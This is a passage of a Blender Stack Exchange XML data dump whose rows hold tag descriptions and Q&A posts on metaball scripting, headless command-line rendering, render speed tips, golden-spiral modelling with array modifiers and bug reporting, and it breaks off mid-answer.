  <row Id="1357" PostTypeId="4" CreationDate="2013-06-25T04:25:41.573" Score="0" Body="Questions pertaining to the usage of Blender's various editing tools and methods" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-12-21T22:47:29.223" LastActivityDate="2020-12-21T22:47:29.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1358" PostTypeId="5" CreationDate="2013-06-25T04:29:35.060" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-25T04:29:35.060" LastActivityDate="2013-06-25T04:29:35.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1359" PostTypeId="4" CreationDate="2013-06-25T04:29:35.060" Score="0" Body="Matcaps are pseudo-materials displayed by projecting an image quickly onto an object to give the user a better sense of the contour of the object. " OwnerUserId="599" LastEditorUserId="25" LastEditDate="2013-06-25T04:30:20.783" LastActivityDate="2013-06-25T04:30:20.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1360" PostTypeId="2" ParentId="1349" CreationDate="2013-06-25T06:10:48.017" Score="7" Body="&lt;p&gt;It seems you already found the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.MetaElement.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki docs on metaballs&lt;/a&gt;, lots of juicy content there indeed, perhaps after reading/running this script that documentation will make more sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You seem to be adding multiple separate metaball objects, instead add one metaball object, and internally to that object create metaball elements, then set their interaction type, something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;# add metaball object&#xA;mball = bpy.data.metaballs.new(&quot;MyBall&quot;)&#xA;obj = bpy.data.objects.new(&quot;MyBallObject&quot;, mball)&#xA;scene.objects.link(obj)&#xA;&#xA;# test with different values, for viewport do you need ultra high res?&#xA;mball.resolution = 0.16  # View resolution&#xA;# mball.render_resolution = you decide&#xA;&#xA;# first metaball element doesn't exist yet - create it.&#xA;ele = mball.elements.new()&#xA;ele.co = (0.0, 0.0, 0.0)&#xA;ele.use_negative = False&#xA;ele.radius = 2.0&#xA;&#xA;# adding extra metaball elements to the object &#xA;ele = mball.elements.new()&#xA;ele.co = (-0.726, 1.006, 0.559)&#xA;ele.use_negative = True&#xA;ele.radius = 0.82279&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xcJSz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-25T13:30:29.020" LastActivityDate="2013-06-25T13:30:29.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1361" PostTypeId="2" ParentId="1349" CreationDate="2013-06-25T06:42:10.627" Score="3" Body="&lt;p&gt;I think your question can be easily addressed by defining what a MetaBall is in Blender. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.MetaBall.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MetaBall&lt;/a&gt; is a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.MetaBall.html#bpy.types.MetaBall.elements&quot; rel=&quot;nofollow noreferrer&quot;&gt;collection&lt;/a&gt; of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.MetaElement.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MetaElement&lt;/a&gt;s.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in order to use/update the use_negative property, you need to get access to an element from the collection that is part of metaball.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following example, the metaball consists of 3 elements of 2 different types (BALL and CAPSULE) and one of the elements has use_negative property set to True.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z1XZ3.png&quot; alt=&quot;Constituents of a MetaBall&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;    &amp;gt;&amp;gt;&amp;gt; metaballobject = C.active_object&#xA;    &amp;gt;&amp;gt;&amp;gt; metaballdata = metaballobject.data&#xA;    &amp;gt;&amp;gt;&amp;gt; metaelements = metaballdata.elements&#xA;    &amp;gt;&amp;gt;&amp;gt; metaelements[0].type, metaelements[0].use_negative&#xA;    ('BALL', False)&#xA;    &amp;gt;&amp;gt;&amp;gt; metaelements[1].type, metaelements[1].use_negative&#xA;    ('CAPSULE', True)&#xA;    &amp;gt;&amp;gt;&amp;gt; metaelements[2].type, metaelements[2].use_negative&#xA;    ('CAPSULE', False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Toggling the use_negative property for some elements&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;    &amp;gt;&amp;gt;&amp;gt; metaelements[2].use_negative = True&#xA;    &amp;gt;&amp;gt;&amp;gt; metaelements[1].use_negative = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Resulting metaball after modifying elements&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6JkI2.png&quot; alt=&quot;Resulting metaball after editing elements&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-25T16:06:26.117" LastActivityDate="2013-06-25T16:06:26.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1362" PostTypeId="2" ParentId="1053" CreationDate="2013-06-25T07:19:48.483" Score="23" Body="&lt;h1&gt;Individual objects&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Blender used to have a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Animation/Techs/Object#Controlling_Time&quot; rel=&quot;noreferrer&quot;&gt;Time Graph Editor curve for controlling time&lt;/a&gt;. Since the animation system rewrite by &lt;a href=&quot;http://wiki.blender.org/index.php/User:Aligorith&quot; rel=&quot;noreferrer&quot;&gt;Aligorith&lt;/a&gt; this is now done using the NLA Editor:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One you've &lt;a href=&quot;http://wiki.blender.org/index.php/User:Rking/Doc:2.6/Manual/Animation/Editors/NLA#Creating_Action_Strips&quot; rel=&quot;noreferrer&quot;&gt;created a NLA-Strip&lt;/a&gt; by clicking the &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/NHPxi.png&quot; alt=&quot;snowflake icon&quot;&gt;&lt;/kbd&gt; next to your action.&lt;/li&gt;&#xA;&lt;li&gt;In the Properties panel (&lt;kbd&gt;N&lt;/kbd&gt; to toggle) under &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA#Evaluation&quot; rel=&quot;noreferrer&quot;&gt;Evaluation&lt;/a&gt; enable &quot;Animated Strip Time&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Animate the &quot;Strip Time&quot; as desired.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OGX2L.png&quot; alt=&quot;Evaluation section of the Properties panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Entire scene&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In video sequencer &lt;kbd&gt;Add | Scene | Scene&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;,&lt;kbd&gt;S&lt;/kbd&gt;,&lt;kbd&gt;S&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Add | Effect Strip… | Speed&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;,&lt;kbd&gt;E&lt;/kbd&gt;,&lt;kbd&gt;P&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;In Properties panel under &quot;Effect Strip&quot; disable &quot;Stretch to input strip length&quot;,&lt;/li&gt;&#xA;&lt;li&gt;Animate the &quot;Speed Factor&quot; (or optionally disable &quot;Use as speed&quot; and animate the &quot;Frame Number&quot;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://projects.blender.org/tracker/?func=detail&amp;amp;atid=498&amp;amp;aid=31271&amp;amp;group_id=9&quot; rel=&quot;noreferrer&quot;&gt;Press &lt;kbd&gt;Refresh Sequencer&lt;/kbd&gt; to update after animating&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aoqKx.png&quot; alt=&quot;Effect Strip section of the Properties panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-06-27T09:30:16.560" LastActivityDate="2013-06-27T09:30:16.560" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1363" PostTypeId="1" CreationDate="2013-06-25T09:36:57.013" Score="4" ViewCount="2289" Body="&lt;p&gt;When I hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to animate the smoke simulation, I just get the particle effect without seeing the smoke. As you can see from the screen shot. I am now using 2.67b. Can somebody please tell me why it's happening as every time I wish to see the changes I have made I have to render the scene which takes a long time and is slowing me down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fcmqi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from above left (blender 2.67b) when I hit Alt+A no smoke appears in the simulation. The image to the right with smoke is done with blender 2.62,&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="47" LastEditDate="2013-06-25T16:55:45.813" LastActivityDate="2013-07-01T18:04:21.487" Title="Problems with smoke simulation visualisation" Tags="&lt;rendering&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1365" PostTypeId="1" AcceptedAnswerId="1366" CreationDate="2013-06-25T10:48:19.423" Score="69" ViewCount="54075" Body="&lt;p&gt;I'm interested in using Blender for producing images, 3d files, or calculating geometry on a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I make blender run a python script without opening a GUI?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, can I incorporate Blender's python API into my own python script without running a GUI?&lt;/p&gt;&#xA;" OwnerUserId="816" LastActivityDate="2021-03-03T07:55:43.140" Title="How can I run blender from command line or a python script without opening a GUI?" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="26" ContentLicense="CC BY-SA 3.0" />
  <row Id="1366" PostTypeId="2" ParentId="1365" CreationDate="2013-06-25T11:06:59.987" Score="65" Body="&lt;h1&gt;Command-line / subprocess&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can use &lt;a href=&quot;http://docs.python.org/dev/library/subprocess.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;subprocess&lt;/a&gt; to run blender (like any other application) from python.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;-b&lt;/code&gt; / &lt;code&gt;--background&lt;/code&gt; switch to run blender in the backgroud (GUI-less).&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;-P &amp;lt;filename&amp;gt;&lt;/code&gt; / &lt;code&gt;--python &amp;lt;filename&amp;gt;&lt;/code&gt; switch to load desired python script.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Or use &lt;code&gt;--python-console&lt;/code&gt; to run python from stdin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Example: &lt;code&gt;blender --background --python myscript.py&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://docs.blender.org/manual/en/latest/advanced/command_line/arguments.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/latest/advanced/command_line/arguments.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;As module&lt;/h1&gt;&#xA;&lt;p&gt;This is an experimental feature and not enabled by default, but Blender can be &lt;a href=&quot;https://wiki.blender.org/wiki/Building_Blender/Other/BlenderAsPyModule&quot; rel=&quot;nofollow noreferrer&quot;&gt;compiled as a python module&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This allows 'bpy' to be imported from python or other applications/IDE's which embed python&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastEditorUserId="31447" LastEditDate="2021-03-03T07:55:43.140" LastActivityDate="2021-03-03T07:55:43.140" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1367" PostTypeId="1" CreationDate="2013-06-25T12:16:17.197" Score="-3" ViewCount="1696" Body="&lt;p&gt;When rendering a single frame, either by pushing &lt;kbd&gt;F12&lt;/kbd&gt; or from the &lt;strong&gt;Properties&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Render&lt;/strong&gt; menu, is there any way to speed up the process? I know about rendering animation through the Python console to speed up rendering time, but can this be applied to a single frame of animation?&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="372" LastEditDate="2013-08-12T04:31:40.410" LastActivityDate="2013-08-12T04:31:40.410" Title="How can I get faster render times for a single image?" Tags="&lt;rendering&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2013-06-25T15:47:22.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="1368" PostTypeId="1" CreationDate="2013-06-25T12:33:05.740" Score="2" ViewCount="57" Body="&lt;p&gt;I mean to say that for reflective materials like metal, I want that image as world material so that I get the cool reflections.&lt;/p&gt;&#xA;" OwnerUserId="818" LastEditorUserId="20508" LastEditDate="2016-07-31T13:45:32.937" LastActivityDate="2016-07-31T13:45:32.937" Title="How can i use an image as a background in Blender Render?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2013-06-25T13:00:21.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="1369" PostTypeId="2" ParentId="1367" CreationDate="2013-06-25T12:34:37.497" Score="5" Body="&lt;p&gt;there are several possibilities depending of your scene setup and renderer (blender internal [BI] or Cycles), but beware, most of them are lowering your overall quality. But we're faking all of the time in CG, so why not here too ;)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reduce the number of subdivisions if you're using one or more subdivision surface modifier&lt;/li&gt;&#xA;&lt;li&gt;BI: Reduce the number of mirroring surfaces (if any)&lt;/li&gt;&#xA;&lt;li&gt;BI: Reduce the number of area lights and replace them with several spots&lt;/li&gt;&#xA;&lt;li&gt;BI: Turn down Anti-Aliasing&lt;/li&gt;&#xA;&lt;li&gt;Cycles: Reduce the number of samples&lt;/li&gt;&#xA;&lt;li&gt;Cycles: Disable the usage of caustics&lt;/li&gt;&#xA;&lt;li&gt;Cycles: Split your scene in different passes and render with a different sample count (less samples for simple passes, more samples for heavy passes) &lt;/li&gt;&#xA;&lt;li&gt;Cycles: Disable motion blurring&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Cycles Use the direct light Integrator preset (changes your scene appearance too - be warned)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Decrease your image resolution...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The possibilities are really countless and depend heavily on your scene - so it's really hard to give a specific answer in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can save a file with F3 when you're above the rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings, Thomas&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-06-25T12:34:37.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1370" PostTypeId="2" ParentId="1333" CreationDate="2013-06-25T13:57:43.533" Score="4" Body="&lt;p&gt;A meta-rig created by &lt;a href=&quot;http://blog.digitaltutors.com/rigging-minutes-blenders-rigify-addon/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rigify&lt;/a&gt; is set to forward kinematics by default. With the settings shown in the n-panel on rig-foot.ik.L/R it possible to move the body with the foot on floor by only moving the rig torso (shown in 2nd img).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bSGou.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zQd9Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="20508" LastEditDate="2016-07-31T13:43:51.700" LastActivityDate="2016-07-31T13:43:51.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1371" PostTypeId="1" AcceptedAnswerId="1394" CreationDate="2013-06-25T16:53:34.750" Score="31" ViewCount="11322" Body="&lt;h1&gt;Foreword&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First off, let me say that I am profoundly amazed at the orderliness in nature. If you haven't heard about the Fibonacci sequence (0, 1, 1, 2, 3, 5, 8, 13, ...), you should check it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mathematical concept of the Fibonacci numbers can be shaped into a set of squares, where the lengths of the sides of the squares follow the Fibonacci sequence:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bhoHm.png&quot; alt=&quot;golden ratio&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is sometimes called a golden ratio. It can be formed into a (golden) spiral. (a.k.a. logarithmic spiral):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3SuOf.png&quot; alt=&quot;golden spiral&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Application&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I am looking for ways on how to utilize this concept in Blender. Primarily in organic modeling. The golden spiral is found all throughout nature. From flower seed heads, sea shells, and ram horns to hurricanes and spiral galaxies. &lt;a href=&quot;https://www.google.com/search?site=&amp;amp;tbm=isch&amp;amp;source=hp&amp;amp;biw=1366&amp;amp;bih=667&amp;amp;q=golden+spiral+in+nature&amp;amp;oq=golden+spiral+in+nature&amp;amp;gs_l=img.3..0l2j0i5.46371.49097.0.49243.23.23.0.0.0.0.191.2006.14j8.22.0...0.0.0..1ac.1.17.img.gSCFht3mK9M&quot; rel=&quot;noreferrer&quot;&gt;See for yourself.&lt;/a&gt; My question is: how can I model based off of one or multiple golden spirals? Specifically, I'm interested in modeling a sunflower head like the one in the following image. I'm mostly interested in the point of origin of the individual seeds (not worried about the shape). Does Blender have any features related to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D3SgS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="56068" LastEditDate="2018-07-16T16:26:49.583" LastActivityDate="2020-12-09T01:38:55.383" Title="Organic yet accurate modeling with the golden spiral" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="7" CommentCount="3" FavoriteCount="24" ContentLicense="CC BY-SA 4.0" />
  <row Id="1372" PostTypeId="5" CreationDate="2013-06-25T16:59:46.683" Score="0" Body="" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-06-25T16:59:46.683" LastActivityDate="2013-06-25T16:59:46.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1373" PostTypeId="4" CreationDate="2013-06-25T16:59:46.683" Score="0" Body="Organic modeling is modeling living or natural things." OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-06-25T16:59:46.683" LastActivityDate="2013-06-25T16:59:46.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1374" PostTypeId="5" CreationDate="2013-06-25T17:03:52.373" Score="0" Body="" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-06-25T17:03:52.373" LastActivityDate="2013-06-25T17:03:52.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1375" PostTypeId="4" CreationDate="2013-06-25T17:03:52.373" Score="0" Body="Use this tag for asking questions about accomplishing a task without cutting corners and aiming for complete accuracy." OwnerUserId="14" LastEditorUserId="14" LastEditDate="2013-06-25T17:03:52.373" LastActivityDate="2013-06-25T17:03:52.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1376" PostTypeId="2" ParentId="1371" CreationDate="2013-06-25T17:26:27.000" Score="32" Body="&lt;p&gt;How about a fully math based approach, here's an interesting paper on &lt;a href=&quot;http://www.scipress.org/journals/forma/pdf/1904/19040335.pdf&quot; rel=&quot;noreferrer&quot;&gt;scipress.org&lt;/a&gt; called &lt;em&gt;Growth in Plants: A Study in Numbers&lt;/em&gt; by Jay Kappraff.&lt;/p&gt;&#xA;&lt;p&gt;from the paper:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Keywords&lt;/strong&gt;: Phyllotaxis, Fibonacci Numbers, Golden Mean, Continued Fractions, Farey&#xA;Series, Wythoff’s Game, Zeckendorf Notation&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;Blender Addon(s)&lt;/h3&gt;&#xA;&lt;p&gt;There is an addon called &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_3d_Function_Surface&quot; rel=&quot;noreferrer&quot;&gt;Add 3d Function Surface&lt;/a&gt; which can be coerced into producing many interesting shapes. It is included in the &lt;em&gt;Extra Objects addon&lt;/em&gt; as &amp;quot;Math Functions&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bHPSG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If the purely function based approach fails you then you still have a variety of options. Some of which are a bit more interactive.&lt;/p&gt;&#xA;&lt;h3&gt;Modifiers and Scripting&lt;/h3&gt;&#xA;&lt;p&gt;You could model one part of the object and use a script to rotate it around and scale it up/down according to whatever algorithm you can imagine. For example a &lt;a href=&quot;http://geometrydaily.tumblr.com/post/34831225246/307-aster-a-new-minimal-geometric-composition&quot; rel=&quot;noreferrer&quot;&gt;2d version of a plant &lt;/a&gt; on geometry daily, it's simplicity is deceptive. I tend to use live coding tools like &lt;a href=&quot;http://tributary.io/inlet/5866690&quot; rel=&quot;noreferrer&quot;&gt;tributary.io&lt;/a&gt; to figure out the math using .js with immediate feedback. Usually if I can figure something out in 2D, the move to Blender and adding a third dimension isn't that much extra work.&lt;/p&gt;&#xA;&lt;p&gt;An Array Modifier and an empty can give very similar results to the broccoli.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uhXbU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a cone, tilted slightly and shifted away from its origin, then added an Array modifier and used a tilted (rotated) and slightly scaled &lt;code&gt;empty&lt;/code&gt; as an array object.&lt;/p&gt;&#xA;&lt;p&gt;The fractal nature of the brocolli calls for daisy-chained array modifiers, each building on the complexity of the previous.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6f2QM.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Elaboration&lt;/strong&gt;&lt;br /&gt;&#xA;perhaps a short walk-through script might better convey what otherwise would become a wordy explanation. This script is merely intended to show what daisy-chained Array Modifiers can do, and shouldn't be perceived as nice python or nice code. The script should result in something like the sunflower. Run the code in an empty blend file with the 3D cursor at the centre of the scene.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;import mathutils&#xA;from mathutils import Euler&#xA;# make sure 3d cursor is at the center of the scene&#xA;&#xA;num_items_in_spiral = 13&#xA;num_spiral_arms = 29&#xA;z_rotation = 2.0 * math.pi / num_spiral_arms&#xA;&#xA;# add cone, modify the mesh,&#xA;bpy.ops.mesh.primitive_cone_add(vertices=12, radius1=0.354406, depth=0.901211)&#xA;obj = bpy.context.active_object&#xA;obj.data.transform(mathutils.Matrix.Translation((-0.5, 0, 0)))&#xA;&#xA;# add empty for spiral arm&#xA;bpy.ops.object.empty_add()&#xA;obj = bpy.context.active_object&#xA;obj.name = &amp;quot;Empty_spiral&amp;quot;&#xA;obj.location = (-0.8, 0, 0)&#xA;obj.rotation_euler = Euler((0, 0, 0.179609), 'XYZ')&#xA;&#xA;# add empty for radial array&#xA;bpy.ops.object.empty_add()&#xA;obj = bpy.context.active_object&#xA;obj.name = &amp;quot;Empty_radial_array&amp;quot;&#xA;obj.rotation_euler = Euler((0, 0, z_rotation), 'XYZ')&#xA;&#xA;# add modifiers to the cone&#xA;obj = bpy.data.objects[&amp;quot;Cone&amp;quot;]&#xA;&#xA;mod = obj.modifiers.new(name=&amp;quot;Array_1&amp;quot;, type='ARRAY')&#xA;mod.use_relative_offset = False&#xA;mod.use_object_offset = True&#xA;mod.offset_object = bpy.data.objects[&amp;quot;Empty_spiral&amp;quot;]&#xA;mod.count = num_items_in_spiral&#xA;&#xA;mod = obj.modifiers.new(name=&amp;quot;Array_2&amp;quot;, type='ARRAY')&#xA;mod.use_relative_offset = False&#xA;mod.use_object_offset = True&#xA;mod.offset_object = bpy.data.objects[&amp;quot;Empty_radial_array&amp;quot;]&#xA;mod.count = num_spiral_arms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/SUDSbcG.png&quot; alt=&quot;example image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The red cone is the primary object, the curve/spiral coming off it is the result of one array modifier on a translated and rotated Empty. The rest of the spirals are an extra array modifier on a different Empty (rotated around the scene origin by &lt;code&gt;2*math.pi / num_spiral_arms&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Whatever object/picture you choose to replicate, you can figure a lot out by drawing on top of the pictures and counting, but mostly experimenting. I think it's more accurate to consider these nice geometric objects as 3D fractals rather than the 3D embodiment of a golden ratio.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-28T08:22:29.840" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1377" PostTypeId="1" AcceptedAnswerId="1378" CreationDate="2013-06-25T20:45:43.113" Score="34" ViewCount="4618" Body="&lt;p&gt;What websites or other resources do users of Blender have available to them to report bugs or problems with the program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get this issue cleared in Q&amp;amp;A format so that we can link new users with bug-report-style questions to this post.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="12" LastEditDate="2013-06-25T21:41:25.593" LastActivityDate="2021-03-31T12:32:23.440" Title="Best place to put bug reports?" Tags="&lt;documentation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" CommunityOwnedDate="2013-07-12T20:58:30.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="1378" PostTypeId="2" ParentId="1377" CreationDate="2013-06-25T21:20:13.237" Score="33" Body="&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt;, the most &lt;a href=&quot;http://archive.blender.org/development/report-a-bug&quot; rel=&quot;nofollow noreferrer&quot;&gt;important thing&lt;/a&gt; to do is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;Make sure it's really a bug&lt;/h1&gt;&#xA;&lt;p&gt;We can only support the Blender binaries as have been distributed on&#xA;blender.org. First thing to test is therefore always if official&#xA;releases have the error. And if there's an error, test it with at&#xA;least one older official release to verify. This can reveal problems&#xA;with your graphics drivers for example, it's not likely that big&#xA;errors are there for many releases!&lt;/p&gt;&#xA;&lt;p&gt;If the error is in current svn, try a build from someone else&#xA;(&lt;a href=&quot;http://www.graphicall.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.graphicall.org&lt;/a&gt;) or official test builds from (&lt;a href=&quot;http://builder.blender.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://builder.blender.org&lt;/a&gt;) and when possible test it on another system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The first thing users should do is try to consistently recreate the 'bug'. If you can repeat it, create a &lt;strong&gt;small and simplified&lt;/strong&gt; test file (removing anything not needed to reproduce the bug) and submit it with a writeup of said bug.&lt;/p&gt;&#xA;&lt;p&gt;Reports of &amp;quot;random crashes&amp;quot; or stuff that &amp;quot;breaks at unspecified situations&amp;quot; are unhelpful. Reporting them only creates noise and distraction rather than helping, if a developer can't reliably reproduce it he can't fix it.&lt;/p&gt;&#xA;&lt;p&gt;If it is a graphical glitch, user interface corruption, viewport artifacts or any other issue related to 